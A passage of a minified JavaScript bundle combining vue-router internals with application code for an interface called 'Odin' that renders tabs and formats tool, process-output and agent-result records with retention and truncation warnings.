e(n){return t.push(n),()=>{const a=t.indexOf(n);a>-1&&t.splice(a,1)}}function s(){t=[]}return{add:e,list:()=>t.slice(),reset:s}}function ri(t,e,s,n,a,i=l=>l()){const l=n&&(n.enterCallbacks[a]=n.enterCallbacks[a]||[]);return()=>new Promise((r,o)=>{const c=p=>{p===!1?o(Ml(os.NAVIGATION_ABORTED,{from:s,to:e})):p instanceof Error?o(p):Bk(p)?o(Ml(os.NAVIGATION_GUARD_REDIRECT,{from:e,to:p})):(l&&n.enterCallbacks[a]===l&&typeof p=="function"&&l.push(p),r())},u=i(()=>t.call(n&&n.instances[a],e,s,c));let d=Promise.resolve(u);t.length<3&&(d=d.then(c)),d.catch(p=>o(p))})}function Uu(t,e,s,n,a=i=>i()){const i=[];for(const l of t)for(const r in l.components){let o=l.components[r];if(!(e!=="beforeRouteEnter"&&!l.instances[r]))if(Wv(o)){const c=(o.__vccOpts||o)[e];c&&i.push(ri(c,s,n,l,r,a))}else{let c=o();i.push(()=>c.then(u=>{if(!u)throw new Error(`Couldn't resolve component "${r}" at "${l.path}"`);const d=UE(u)?u.default:u;l.mods[r]=u,l.components[r]=d;const p=(d.__vccOpts||d)[e];return p&&ri(p,s,n,l,r,a)()}))}}return i}function Ck(t,e){const s=[],n=[],a=[],i=Math.max(e.matched.length,t.matched.length);for(let l=0;lFl(c,r))?n.push(r):s.push(r));const o=t.matched[l];o&&(e.matched.find(c=>Fl(c,o))||a.push(o))}return[s,n,a]}/*! + * vue-router v4.6.4 + * (c) 2025 Eduardo San Martin Morote + * @license MIT + */let yk=()=>location.protocol+"//"+location.host;function ab(t,e){const{pathname:s,search:n,hash:a}=e,i=t.indexOf("#");if(i>-1){let l=a.includes(t.slice(i))?t.slice(i).length:1,r=a.slice(l);return r[0]!=="/"&&(r="/"+r),AB(r,"")}return AB(s,t)+n+a}function xk(t,e,s,n){let a=[],i=[],l=null;const r=({state:p})=>{const B=ab(t,location),h=s.value,b=e.value;let w=0;if(p){if(s.value=B,e.value=p,l&&l===h){l=null;return}w=b?p.position-b.position:0}else n(B);a.forEach(_=>{_(s.value,h,{delta:w,type:Ad.pop,direction:w?w>0?Gu.forward:Gu.back:Gu.unknown})})};function o(){l=s.value}function c(p){a.push(p);const B=()=>{const h=a.indexOf(p);h>-1&&a.splice(h,1)};return i.push(B),B}function u(){if(document.visibilityState==="hidden"){const{history:p}=window;if(!p.state)return;p.replaceState(Ft({},p.state,{scroll:nu()}),"")}}function d(){for(const p of i)p();i=[],window.removeEventListener("popstate",r),window.removeEventListener("pagehide",u),document.removeEventListener("visibilitychange",u)}return window.addEventListener("popstate",r),window.addEventListener("pagehide",u),document.addEventListener("visibilitychange",u),{pauseListeners:o,listen:c,destroy:d}}function NB(t,e,s,n=!1,a=!1){return{back:t,current:e,forward:s,replaced:n,position:window.history.length,scroll:a?nu():null}}function wk(t){const{history:e,location:s}=window,n={value:ab(t,s)},a={value:e.state};a.value||i(n.value,{back:null,current:n.value,forward:null,position:e.length-1,replaced:!0,scroll:null},!0);function i(o,c,u){const d=t.indexOf("#"),p=d>-1?(s.host&&document.querySelector("base")?t:t.slice(d))+o:yk()+t+o;try{e[u?"replaceState":"pushState"](c,"",p),a.value=c}catch(B){console.error(B),s[u?"replace":"assign"](p)}}function l(o,c){i(o,Ft({},e.state,NB(a.value.back,o,a.value.forward,!0),c,{position:a.value.position}),!0),n.value=o}function r(o,c){const u=Ft({},a.value,e.state,{forward:o,scroll:nu()});i(u.current,u,!0),i(o,Ft({},NB(n.value,o,null),{position:u.position+1},c),!1),n.value=o}return{location:n,state:a,push:r,replace:l}}function _k(t){t=rk(t);const e=wk(t),s=xk(t,e.state,e.location,e.replace);function n(i,l=!0){l||s.pauseListeners(),history.go(i)}const a=Ft({location:"",base:t,go:n,createHref:ck.bind(null,t)},e,s);return Object.defineProperty(a,"location",{enumerable:!0,get:()=>e.location.value}),Object.defineProperty(a,"state",{enumerable:!0,get:()=>e.state.value}),a}function Ek(t){return t=location.host?t||location.pathname+location.search:"",t.includes("#")||(t+="#"),_k(t)}let Ri=(function(t){return t[t.Static=0]="Static",t[t.Param=1]="Param",t[t.Group=2]="Group",t})({});var xs=(function(t){return t[t.Static=0]="Static",t[t.Param=1]="Param",t[t.ParamRegExp=2]="ParamRegExp",t[t.ParamRegExpEnd=3]="ParamRegExpEnd",t[t.EscapeNext=4]="EscapeNext",t})(xs||{});const kk={type:Ri.Static,value:""},Dk=/[a-zA-Z0-9_]/;function Sk(t){if(!t)return[[]];if(t==="/")return[[kk]];if(!t.startsWith("/"))throw new Error(`Invalid path "${t}"`);function e(B){throw new Error(`ERR (${s})/"${c}": ${B}`)}let s=xs.Static,n=s;const a=[];let i;function l(){i&&a.push(i),i=[]}let r=0,o,c="",u="";function d(){c&&(s===xs.Static?i.push({type:Ri.Static,value:c}):s===xs.Param||s===xs.ParamRegExp||s===xs.ParamRegExpEnd?(i.length>1&&(o==="*"||o==="+")&&e(`A repeatable param (${c}) must be alone in its segment. eg: '/:ids+.`),i.push({type:Ri.Param,value:c,regexp:u,repeatable:o==="*"||o==="+",optional:o==="*"||o==="?"})):e("Invalid state to consume buffer"),c="")}function p(){c+=o}for(;re.length?e.length===1&&e[0]===Xs.Static+Xs.Segment?1:-1:0}function ib(t,e){let s=0;const n=t.score,a=e.score;for(;s0&&e[e.length-1]<0}const Ok={strict:!1,end:!0,sensitive:!1};function Lk(t,e,s){const n=Rk(Sk(t.path),s),a=Ft(n,{record:t,parent:e,children:[],alias:[]});return e&&!a.record.aliasOf==!e.record.aliasOf&&e.children.push(a),a}function Nk(t,e){const s=[],n=new Map;e=TB(Ok,e);function a(d){return n.get(d)}function i(d,p,B){const h=!B,b=HB(d);b.aliasOf=B&&B.record;const w=TB(e,d),_=[b];if("alias"in d){const m=typeof d.alias=="string"?[d.alias]:d.alias;for(const y of m)_.push(HB(Ft({},b,{components:B?B.record.components:b.components,path:y,aliasOf:B?B.record:b})))}let C,v;for(const m of _){const{path:y}=m;if(p&&y[0]!=="/"){const k=p.record.path,x=k[k.length-1]==="/"?"":"/";m.path=p.record.path+(y&&x+y)}if(C=Lk(m,p,w),B?B.alias.push(C):(v=v||C,v!==C&&v.alias.push(C),h&&d.name&&!GB(C)&&l(d.name)),lb(C)&&o(C),b.children){const k=b.children;for(let x=0;x{l(v)}:_r}function l(d){if(sb(d)){const p=n.get(d);p&&(n.delete(d),s.splice(s.indexOf(p),1),p.children.forEach(l),p.alias.forEach(l))}else{const p=s.indexOf(d);p>-1&&(s.splice(p,1),d.record.name&&n.delete(d.record.name),d.children.forEach(l),d.alias.forEach(l))}}function r(){return s}function o(d){const p=Pk(d,s);s.splice(p,0,d),d.record.name&&!GB(d)&&n.set(d.record.name,d)}function c(d,p){let B,h={},b,w;if("name"in d&&d.name){if(B=n.get(d.name),!B)throw Ml(os.MATCHER_NOT_FOUND,{location:d});w=B.record.name,h=Ft(PB(p.params,B.keys.filter(v=>!v.optional).concat(B.parent?B.parent.keys.filter(v=>v.optional):[]).map(v=>v.name)),d.params&&PB(d.params,B.keys.map(v=>v.name))),b=B.stringify(h)}else if(d.path!=null)b=d.path,B=s.find(v=>v.re.test(b)),B&&(h=B.parse(b),w=B.record.name);else{if(B=p.name?n.get(p.name):s.find(v=>v.re.test(p.path)),!B)throw Ml(os.MATCHER_NOT_FOUND,{location:d,currentLocation:p});w=B.record.name,h=Ft({},p.params,d.params),b=B.stringify(h)}const _=[];let C=B;for(;C;)_.unshift(C.record),C=C.parent;return{name:w,path:b,params:h,matched:_,meta:Mk(_)}}t.forEach(d=>i(d));function u(){s.length=0,n.clear()}return{addRoute:i,resolve:c,removeRoute:l,clearRoutes:u,getRoutes:r,getRecordMatcher:a}}function PB(t,e){const s={};for(const n of e)n in t&&(s[n]=t[n]);return s}function HB(t){const e={path:t.path,redirect:t.redirect,name:t.name,meta:t.meta||{},aliasOf:t.aliasOf,beforeEnter:t.beforeEnter,props:Fk(t),children:t.children||[],instances:{},leaveGuards:new Set,updateGuards:new Set,enterCallbacks:{},components:"components"in t?t.components||null:t.component&&{default:t.component}};return Object.defineProperty(e,"mods",{value:{}}),e}function Fk(t){const e={},s=t.props||!1;if("component"in t)e.default=s;else for(const n in t.components)e[n]=typeof s=="object"?s[n]:s;return e}function GB(t){for(;t;){if(t.record.aliasOf)return!0;t=t.parent}return!1}function Mk(t){return t.reduce((e,s)=>Ft(e,s.meta),{})}function Pk(t,e){let s=0,n=e.length;for(;s!==n;){const i=s+n>>1;ib(t,e[i])<0?n=i:s=i+1}const a=Hk(t);return a&&(n=e.lastIndexOf(a,n-1)),n}function Hk(t){let e=t;for(;e=e.parent;)if(lb(e)&&ib(t,e)===0)return e}function lb({record:t}){return!!(t.name||t.components&&Object.keys(t.components).length||t.redirect)}function UB(t){const e=Fn(au),s=Fn(zp),n=G(()=>{const o=ra(t.to);return e.resolve(o)}),a=G(()=>{const{matched:o}=n.value,{length:c}=o,u=o[c-1],d=s.matched;if(!u||!d.length)return-1;const p=d.findIndex(Fl.bind(null,u));if(p>-1)return p;const B=$B(o[c-2]);return c>1&&$B(u)===B&&d[d.length-1].path!==B?d.findIndex(Fl.bind(null,o[c-2])):p}),i=G(()=>a.value>-1&&Jk(s.params,n.value.params)),l=G(()=>a.value>-1&&a.value===s.matched.length-1&&tb(s.params,n.value.params));function r(o={}){if(jk(o)){const c=e[ra(t.replace)?"replace":"push"](ra(t.to)).catch(_r);return t.viewTransition&&typeof document<"u"&&"startViewTransition"in document&&document.startViewTransition(()=>c),c}return Promise.resolve()}return{route:n,href:G(()=>n.value.href),isActive:i,isExactActive:l,navigate:r}}function Gk(t){return t.length===1?t[0]:t}const Uk=eo({name:"RouterLink",compatConfig:{MODE:3},props:{to:{type:[String,Object],required:!0},replace:Boolean,activeClass:String,exactActiveClass:String,custom:Boolean,ariaCurrentValue:{type:String,default:"page"},viewTransition:Boolean},useLink:UB,setup(t,{slots:e}){const s=Bi(UB(t)),{options:n}=Fn(au),a=G(()=>({[jB(t.activeClass,n.linkActiveClass,"router-link-active")]:s.isActive,[jB(t.exactActiveClass,n.linkExactActiveClass,"router-link-exact-active")]:s.isExactActive}));return()=>{const i=e.default&&Gk(e.default(s));return t.custom?i:Tl("a",{"aria-current":s.isExactActive?t.ariaCurrentValue:null,href:s.href,onClick:s.navigate,class:a.value},i)}}}),$k=Uk;function jk(t){if(!(t.metaKey||t.altKey||t.ctrlKey||t.shiftKey)&&!t.defaultPrevented&&!(t.button!==void 0&&t.button!==0)){if(t.currentTarget&&t.currentTarget.getAttribute){const e=t.currentTarget.getAttribute("target");if(/\b_blank\b/i.test(e))return}return t.preventDefault&&t.preventDefault(),!0}}function Jk(t,e){for(const s in e){const n=e[s],a=t[s];if(typeof n=="string"){if(n!==a)return!1}else if(!zn(a)||a.length!==n.length||n.some((i,l)=>i.valueOf()!==a[l].valueOf()))return!1}return!0}function $B(t){return t?t.aliasOf?t.aliasOf.path:t.path:""}const jB=(t,e,s)=>t??e??s,zk=eo({name:"RouterView",inheritAttrs:!1,props:{name:{type:String,default:"default"},route:Object},compatConfig:{MODE:3},setup(t,{attrs:e,slots:s}){const n=Fn(Id),a=G(()=>t.route||n.value),i=Fn(LB,0),l=G(()=>{let c=ra(i);const{matched:u}=a.value;let d;for(;(d=u[c])&&!d.components;)c++;return c}),r=G(()=>a.value.matched[l.value]);br(LB,G(()=>l.value+1)),br(bk,r),br(Id,a);const o=f();return us(()=>[o.value,r.value,t.name],([c,u,d],[p,B,h])=>{u&&(u.instances[d]=c,B&&B!==u&&c&&c===p&&(u.leaveGuards.size||(u.leaveGuards=B.leaveGuards),u.updateGuards.size||(u.updateGuards=B.updateGuards))),c&&u&&(!B||!Fl(u,B)||!p)&&(u.enterCallbacks[d]||[]).forEach(b=>b(c))},{flush:"post"}),()=>{const c=a.value,u=t.name,d=r.value,p=d&&d.components[u];if(!p)return JB(s.default,{Component:p,route:c});const B=d.props[u],h=B?B===!0?c.params:typeof B=="function"?B(c):B:null,w=Tl(p,Ft({},h,e,{onVnodeUnmounted:_=>{_.component.isUnmounted&&(d.instances[u]=null)},ref:o}));return JB(s.default,{Component:w,route:c})||w}}});function JB(t,e){if(!t)return null;const s=t(e);return s.length===1?s[0]:s}const qk=zk;function Vk(t){const e=Nk(t.routes,t),s=t.parseQuery||mk,n=t.stringifyQuery||OB,a=t.history,i=sr(),l=sr(),r=sr(),o=tp(Za);let c=Za;ul&&t.scrollBehavior&&"scrollRestoration"in history&&(history.scrollRestoration="manual");const u=Pu.bind(null,de=>""+de),d=Pu.bind(null,ek),p=Pu.bind(null,zr);function B(de,ue){let ve,$;return sb(de)?(ve=e.getRecordMatcher(de),$=ue):$=de,e.addRoute($,ve)}function h(de){const ue=e.getRecordMatcher(de);ue&&e.removeRoute(ue)}function b(){return e.getRoutes().map(de=>de.record)}function w(de){return!!e.getRecordMatcher(de)}function _(de,ue){if(ue=Ft({},ue||o.value),typeof de=="string"){const M=Hu(s,de,ue.path),V=e.resolve({path:M.path},ue),Ce=a.createHref(M.fullPath);return Ft(M,V,{params:p(V.params),hash:zr(M.hash),redirectedFrom:void 0,href:Ce})}let ve;if(de.path!=null)ve=Ft({},de,{path:Hu(s,de.path,ue.path).path});else{const M=Ft({},de.params);for(const V in M)M[V]==null&&delete M[V];ve=Ft({},de,{params:d(M)}),ue.params=d(ue.params)}const $=e.resolve(ve,ue),se=de.hash||"";$.params=u(p($.params));const De=nk(n,Ft({},de,{hash:YE(se),path:$.path})),E=a.createHref(De);return Ft({fullPath:De,hash:se,query:n===OB?vk(de.query):de.query||{}},$,{redirectedFrom:void 0,href:E})}function C(de){return typeof de=="string"?Hu(s,de,o.value.path):Ft({},de)}function v(de,ue){if(c!==de)return Ml(os.NAVIGATION_CANCELLED,{from:ue,to:de})}function m(de){return x(de)}function y(de){return m(Ft(C(de),{replace:!0}))}function k(de,ue){const ve=de.matched[de.matched.length-1];if(ve&&ve.redirect){const{redirect:$}=ve;let se=typeof $=="function"?$(de,ue):$;return typeof se=="string"&&(se=se.includes("?")||se.includes("#")?se=C(se):{path:se},se.params={}),Ft({query:de.query,hash:de.hash,params:se.path!=null?{}:de.params},se)}}function x(de,ue){const ve=c=_(de),$=o.value,se=de.state,De=de.force,E=de.replace===!0,M=k(ve,$);if(M)return x(Ft(C(M),{state:typeof M=="object"?Ft({},se,M.state):se,force:De,replace:E}),ue||ve);const V=ve;V.redirectedFrom=ue;let Ce;return!De&&ak(n,$,ve)&&(Ce=Ml(os.NAVIGATION_DUPLICATED,{to:V,from:$}),Q($,$,!0,!1)),(Ce?Promise.resolve(Ce):L(V,$)).catch(fe=>ma(fe)?ma(fe,os.NAVIGATION_GUARD_REDIRECT)?fe:ee(fe):N(fe,V,$)).then(fe=>{if(fe){if(ma(fe,os.NAVIGATION_GUARD_REDIRECT))return x(Ft({replace:E},C(fe.to),{state:typeof fe.to=="object"?Ft({},se,fe.to.state):se,force:De}),ue||V)}else fe=I(V,$,!0,E,se);return O(V,$,fe),fe})}function A(de,ue){const ve=v(de,ue);return ve?Promise.reject(ve):Promise.resolve()}function S(de){const ue=K.values().next().value;return ue&&typeof ue.runWithContext=="function"?ue.runWithContext(de):de()}function L(de,ue){let ve;const[$,se,De]=Ck(de,ue);ve=Uu($.reverse(),"beforeRouteLeave",de,ue);for(const M of $)M.leaveGuards.forEach(V=>{ve.push(ri(V,de,ue))});const E=A.bind(null,de,ue);return ve.push(E),Ge(ve).then(()=>{ve=[];for(const M of i.list())ve.push(ri(M,de,ue));return ve.push(E),Ge(ve)}).then(()=>{ve=Uu(se,"beforeRouteUpdate",de,ue);for(const M of se)M.updateGuards.forEach(V=>{ve.push(ri(V,de,ue))});return ve.push(E),Ge(ve)}).then(()=>{ve=[];for(const M of De)if(M.beforeEnter)if(zn(M.beforeEnter))for(const V of M.beforeEnter)ve.push(ri(V,de,ue));else ve.push(ri(M.beforeEnter,de,ue));return ve.push(E),Ge(ve)}).then(()=>(de.matched.forEach(M=>M.enterCallbacks={}),ve=Uu(De,"beforeRouteEnter",de,ue,S),ve.push(E),Ge(ve))).then(()=>{ve=[];for(const M of l.list())ve.push(ri(M,de,ue));return ve.push(E),Ge(ve)}).catch(M=>ma(M,os.NAVIGATION_CANCELLED)?M:Promise.reject(M))}function O(de,ue,ve){r.list().forEach($=>S(()=>$(de,ue,ve)))}function I(de,ue,ve,$,se){const De=v(de,ue);if(De)return De;const E=ue===Za,M=ul?history.state:{};ve&&($||E?a.replace(de.fullPath,Ft({scroll:E&&M&&M.scroll},se)):a.push(de.fullPath,se)),o.value=de,Q(de,ue,ve,E),ee()}let J;function ie(){J||(J=a.listen((de,ue,ve)=>{if(!_e.listening)return;const $=_(de),se=k($,_e.currentRoute.value);if(se){x(Ft(se,{replace:!0,force:!0}),$).catch(_r);return}c=$;const De=o.value;ul&&pk(IB(De.fullPath,ve.delta),nu()),L($,De).catch(E=>ma(E,os.NAVIGATION_ABORTED|os.NAVIGATION_CANCELLED)?E:ma(E,os.NAVIGATION_GUARD_REDIRECT)?(x(Ft(C(E.to),{force:!0}),$).then(M=>{ma(M,os.NAVIGATION_ABORTED|os.NAVIGATION_DUPLICATED)&&!ve.delta&&ve.type===Ad.pop&&a.go(-1,!1)}).catch(_r),Promise.reject()):(ve.delta&&a.go(-ve.delta,!1),N(E,$,De))).then(E=>{E=E||I($,De,!1),E&&(ve.delta&&!ma(E,os.NAVIGATION_CANCELLED)?a.go(-ve.delta,!1):ve.type===Ad.pop&&ma(E,os.NAVIGATION_ABORTED|os.NAVIGATION_DUPLICATED)&&a.go(-1,!1)),O($,De,E)}).catch(_r)}))}let te=sr(),R=sr(),j;function N(de,ue,ve){ee(de);const $=R.list();return $.length?$.forEach(se=>se(de,ue,ve)):console.error(de),Promise.reject(de)}function z(){return j&&o.value!==Za?Promise.resolve():new Promise((de,ue)=>{te.add([de,ue])})}function ee(de){return j||(j=!de,ie(),te.list().forEach(([ue,ve])=>de?ve(de):ue()),te.reset()),de}function Q(de,ue,ve,$){const{scrollBehavior:se}=t;if(!ul||!se)return Promise.resolve();const De=!ve&&fk(IB(de.fullPath,0))||($||!ve)&&history.state&&history.state.scroll||null;return ns().then(()=>se(de,ue,De)).then(E=>E&&dk(E)).catch(E=>N(E,de,ue))}const Y=de=>a.go(de);let re;const K=new Set,_e={currentRoute:o,listening:!0,addRoute:B,removeRoute:h,clearRoutes:e.clearRoutes,hasRoute:w,getRoutes:b,resolve:_,options:t,push:m,replace:y,go:Y,back:()=>Y(-1),forward:()=>Y(1),beforeEach:i.add,beforeResolve:l.add,afterEach:r.add,onError:R.add,isReady:z,install(de){de.component("RouterLink",$k),de.component("RouterView",qk),de.config.globalProperties.$router=_e,Object.defineProperty(de.config.globalProperties,"$route",{enumerable:!0,get:()=>ra(o)}),ul&&!re&&o.value===Za&&(re=!0,m(a.location).catch($=>{}));const ue={};for(const $ in Za)Object.defineProperty(ue,$,{get:()=>o.value[$],enumerable:!0});de.provide(au,_e),de.provide(zp,ep(ue)),de.provide(Id,o);const ve=de.unmount;K.add(de),de.unmount=function(){K.delete(de),K.size<1&&(c=Za,J&&J(),J=null,o.value=Za,re=!1,j=!1),ve()}}};function Ge(de){return de.reduce((ue,ve)=>ue.then(()=>S(ve)),Promise.resolve())}return _e}function rb(){return Fn(au)}function Kk(t){return Fn(zp)}const iu={props:{tabs:{type:Array,required:!0},defaultTab:{type:String,default:""},groupLabel:{type:String,default:""}},setup(t){const e=Kk(),s=rb(),n=G({get(){var o;const r=e.query.tab;return r&&t.tabs.some(c=>c.id===r)?r:t.defaultTab||((o=t.tabs[0])==null?void 0:o.id)||""},set(r){s.replace({query:{...e.query,tab:r}})}}),a=G(()=>{var r;return((r=t.tabs.find(o=>o.id===n.value))==null?void 0:r.component)||null}),i=G(()=>{var r;return((r=t.tabs.find(o=>o.id===n.value))==null?void 0:r.label)||""});us(i,r=>{t.groupLabel&&r&&(document.title=`Odin — ${t.groupLabel} › ${r}`)},{immediate:!0});function l(r,o){if(!["ArrowLeft","ArrowRight","Home","End"].includes(r.key))return;r.preventDefault();let c=o;r.key==="ArrowRight"&&(c=(o+1)%t.tabs.length),r.key==="ArrowLeft"&&(c=(o-1+t.tabs.length)%t.tabs.length),r.key==="Home"&&(c=0),r.key==="End"&&(c=t.tabs.length-1),n.value=t.tabs[c].id,requestAnimationFrame(()=>{var u;return(u=document.getElementById("tab-"+t.tabs[c].id))==null?void 0:u.focus()})}return{activeTab:n,activeComponent:a,activeLabel:i,onTabKeydown:l}},template:` +
    +
    +
    + +
    +
    +
    + +
    +
    + `},qr=t=>t!==null&&typeof t=="object"&&!Array.isArray(t),ua=t=>Number.isSafeInteger(t)&&t>=0,Wk=t=>t===null||typeof t=="string",Tc=(t,e)=>ua(t)&&ua(e)&&e>=t,qp=t=>qr(t)&&typeof t.status=="string"&&typeof t.truncated=="boolean"&&Wk(t.cursor);function Qk(t){return!qp(t)||t.kind!=="tool_output"?!1:t.retention==="failed"?typeof t.error=="string"&&typeof t.head=="string"&&qr(t.tail)&&typeof t.tail.text=="string"&&t.cursor===null&&t.truncated:t.retention!=="retained"||typeof t.result_id!="string"||!ua(t.total_chars)||!ua(t.total_bytes)||t.offset_unit!=="unicode_code_points"||!Tc(t.start,t.end)||t.end>t.total_chars?!1:"head"in t?typeof t.head=="string"&&qr(t.tail)&&typeof t.tail.text=="string"&&Tc(t.tail.start,t.tail.end)&&t.tail.end<=t.total_chars&&t.tail_is_context_only===!0:typeof t.text=="string"&&!("tail"in t)}function zB(t){return qp(t)&&t.kind==="process_output"&&ua(t.pid)&&typeof t.generation=="string"&&(t.exit_code===null||Number.isInteger(t.exit_code))&&["emitted_bytes","retained_bytes","shown_bytes","capture_limit_loss_bytes","not_retained_bytes"].every(e=>ua(t[e]))&&t.retained_bytes<=t.emitted_bytes&&Array.isArray(t.shown_intervals)&&t.shown_intervals.every(e=>Array.isArray(e)&&e.length===2&&Tc(...e)&&e[1]<=("text"in t?t.retained_bytes:t.emitted_bytes))}function Yk(t){return qp(t)&&!("kind"in t)&&typeof t.id=="string"&&typeof t.label=="string"&&typeof t.preview=="string"&&["original_bytes","result_bytes","error_bytes","source_original_bytes"].every(e=>ua(t[e]))&&Tc(t.offset,t.end)&&t.end<=t.original_bytes&&t.result_bytes+t.error_bytes===t.original_bytes&&Array.isArray(t.tools_used)&&t.tools_used.every(e=>typeof e=="string")&&ua(t.tools_omitted)}function Od(t){try{return JSON.parse(t)}catch{return}}const Ld=t=>JSON.stringify(t,null,2),Zk=t=>{const e=Od(t);return e===void 0?t:Ld(e)},To=(t,e,s)=>`[${t}, ${e}) ${s}`;function ob(t,{prettyPrint:e=!0}={}){var r,o;const s=typeof t=="string"?t:Ld(t)??"";let n=typeof t=="string"?Od(t):t,a=null;if(typeof t=="string"&&n===void 0){const c=` +[output retention] `,u=t.lastIndexOf(c),d=t.indexOf(` +`);if(u>d&&d>0){const p=Od(t.slice(u+c.length)),B=t.slice(0,d);zB(p)&&!("text"in p)&&B.startsWith(`[PID ${p.pid}] status=${p.status} `)&&(n=p,a=t.slice(d+1,u))}}const i={raw:s,kind:"text",header:[],sections:[],metadata:null},l=(c,u)=>({label:c,text:e?Zk(u):u});if(qr(n)&&n.kind==="audit_preview"&&n.audit_clipped===!0&&(!("original_chars"in n)||ua(n.original_chars))&&(!("preview"in n)||typeof n.preview=="string")){if(i.kind="audit_preview",i.header=["audit clipped: yes",...ua(n.original_chars)?[`original ${n.original_chars} code points`]:[]],qr(n.source))for(const c of["kind","status","retention","truncated","capture_loss","capture_limit_loss_bytes","not_retained_bytes","cursor_present","total_bytes","total_chars","retained_bytes","emitted_bytes","shown_bytes","offset_unit","capture_error","pid","exit_code","start","end","tail_status","original_bytes","result_bytes","error_bytes","offset","source_original_bytes","id","capture_lost_bytes","dropped_bytes","output_lost","capture_truncated","retention_seconds_after_exit"])["string","number","boolean"].includes(typeof n.source[c])&&i.header.push(`source ${c}: ${n.source[c]}`);return i.sections.push({label:"Audit preview — incomplete source; raw shows stored wrapper",text:n.preview??(e?"(no preview retained in audit)":"")}),i.metadata=n,i}if(Qk(n))i.kind="tool_output",i.header=[n.status,`retention: ${n.retention}`],n.retention==="retained"?(i.header.push(`${n.total_bytes} UTF-8 bytes`,`${n.total_chars} code points`),i.sections.push(l(`${"head"in n?"Head":"Page"} ${To(n.start,n.end,"code points")}`,n.head??n.text)),(r=n.tail)!=null&&r.text&&i.sections.push(l(`Tail context only ${To(n.tail.start,n.tail.end,"code points")} — not a continuation`,n.tail.text))):(i.header.push(n.error),i.sections.push(l("Head — retention failed",n.head),l("Tail context only — may overlap head",n.tail.text))),typeof((o=n.matches)==null?void 0:o.summary)=="string"&&i.header.push(n.matches.summary);else if(zB(n)&&(typeof n.text=="string"||a!==null)){i.kind="process_output",i.header=[n.status,`PID ${n.pid}`,...n.exit_code!==null?[`exit ${n.exit_code}`]:[],`emitted ${n.emitted_bytes} B`,`retained ${n.retained_bytes} B`,`shown ${n.shown_bytes} B`,`capture-limit loss ${n.capture_limit_loss_bytes} B`,`not retained ${n.not_retained_bytes} B`],n.capture_error&&i.header.push(`capture error: ${n.capture_error}`),n.tail_status&&i.header.push(`recent output: ${n.tail_status}`);const c=n.shown_intervals.map(u=>To(...u,"UTF-8 bytes")).join(", ");i.sections.push(l(`${a!==null?"Recent preview — retrieval starts at byte 0":"Page"}${c?" · "+c:""}`,a??n.text))}else if(Yk(n))i.kind="agent_result",i.header=[n.status,`agent ${n.id}`,n.label,`original ${n.original_bytes} B`,`result ${n.result_bytes} B`,`error ${n.error_bytes} B`,`source ${n.source_original_bytes} B`,`tools ${n.tools_used.length} shown / ${n.tools_omitted} omitted`],i.sections.push(l(`Result + error page ${To(n.offset,n.end,"UTF-8 bytes")}`,n.preview));else return i.kind=n===void 0?"text":"json",i.sections.push({label:"",text:n===void 0||!e&&typeof t=="string"?s:e?Ld(n):JSON.stringify(n)}),i;if(i.metadata=n,i.header.push(`source truncated: ${n.truncated?"yes":"no"}`,`cursor: ${n.cursor?"present":"none"}`),typeof n.expires_at=="string"&&i.header.push(`expires: ${n.expires_at}`),typeof n.expires_at=="number"){const c=new Date(n.expires_at*1e3);Number.isNaN(c.valueOf())||i.header.push(`expires: ${c.toISOString()}`)}return i}function cb(t,e=30,s=6e3){let n=1,a=0,i=0;if(e>0&&s>0)for(const l of t){if(a>=s||l===` +`&&n>=e)break;l===` +`&&n++,a++,i+=l.length}return{text:t.slice(0,i),folded:it!==null&&typeof t=="object",eD=new Set(["_hmac","_prev_hmac"]),Nd=t=>t.replace(/\r\n?/g,` +`);function Vr(t){const e=typeof t=="string"?t:JSON.stringify(t)??"";try{let s=!1;const n=JSON.parse(e,(a,i)=>{if(eD.has(a)){s=!0;return}return i});return Nd(s?JSON.stringify(n):e)}catch{return Nd(e)}}function tD(t){const e=t.metadata;if(!e)return[];const s=[],n=t.kind==="audit_preview"&&Xk(e.source)?e.source:e;return t.kind==="audit_preview"&&s.push("audit clipped"),n.truncated===!0&&s.push("source truncated"),n.retention==="failed"&&s.push("retention unavailable"),n.capture_error&&s.push(`capture unavailable: ${n.capture_error}`),n.capture_limit_loss_bytes>0&&s.push(`capture loss ${n.capture_limit_loss_bytes} B`),n.not_retained_bytes>0&&s.push(`not retained ${n.not_retained_bytes} B`),n.capture_lost_bytes>0&&s.push(`capture lost ${n.capture_lost_bytes} B`),n.dropped_bytes>0&&s.push(`dropped ${n.dropped_bytes} B`),(n.capture_loss===!0||n.output_lost===!0||n.capture_truncated===!0)&&s.push("capture loss"),Number.isInteger(n.exit_code)&&n.exit_code!==0&&s.push(`process exit ${n.exit_code}`),["failed","error","cancelled","timed_out"].includes(n.status)&&s.push(`source ${n.status}`),t.kind==="audit_preview"&&!e.preview&&s.push("audit body unavailable"),s}function sD(t){var B;const e=ob(typeof t=="string"?Nd(t):t,{prettyPrint:!1}),s=e.sections.map(h=>({...h,text:Vr(h.text)})),n=s.map(h=>h.text).filter(Boolean).join(` +`),a=n.replace(/\n$/,""),i=[...n].length,l=a?a.split(` +`).length:0,r=!["text","json"].includes(e.kind),o=l>=2||i>$u.inlineChars||r&&a.length>0,c=s.filter(h=>h.text).map(h=>{let b=h.text;try{b=JSON.stringify(JSON.parse(b),null,2)}catch{}return h.label?`${h.label} +${b}`:b}).join(` + +`).replace(/\n$/,""),u=cb(c,$u.previewLines,$u.previewChars),d=e.kind==="audit_preview"?(B=e.metadata)==null?void 0:B.source:e.metadata,p=d&&(e.kind==="process_output"||d.kind==="process_output")?`PID ${d.pid??"?"} ${d.status??""}${Number.isInteger(d.exit_code)?` exit ${d.exit_code}`:""}`.trim():e.kind==="agent_result"&&(d!=null&&d.status)?`agent ${d.status}`:"";return{promoted:o,chars:i,lines:l,envelope:r,kind:e.kind,formatted:c,preview:u,outcome:p,header:e.header,summary:a.replace(/\n/g," "),warnings:tD(e)}}const nD={name:"CompactOutput",props:{value:{default:""},rawValue:{default:void 0},label:{type:String,default:"Output"},hasContext:{type:Boolean,default:!1},recordId:{default:null}},setup(t){const e=f(!1),s=f(!0),n=f(!1),a=f(""),i=f(null),l=f(null),r=f(!1),o=G(()=>sD(t.value)),c=G(()=>{const m=t.rawValue===void 0?t.value:t.rawValue;return typeof m=="string"?m:JSON.stringify(m,null,2)??""}),u=G(()=>n.value?c.value:o.value.formatted),d=G(()=>o.value.promoted&&o.value.preview.folded||r.value),p=G(()=>e.value?!!u.value:o.value.promoted),B=G(()=>p.value?"":o.value.summary);let h;function b(){if(e.value)return;const m=o.value.promoted?i.value:l.value;r.value=!!(m&&(m.scrollHeight>m.clientHeight+1||m.scrollWidth>m.clientWidth+1))}function 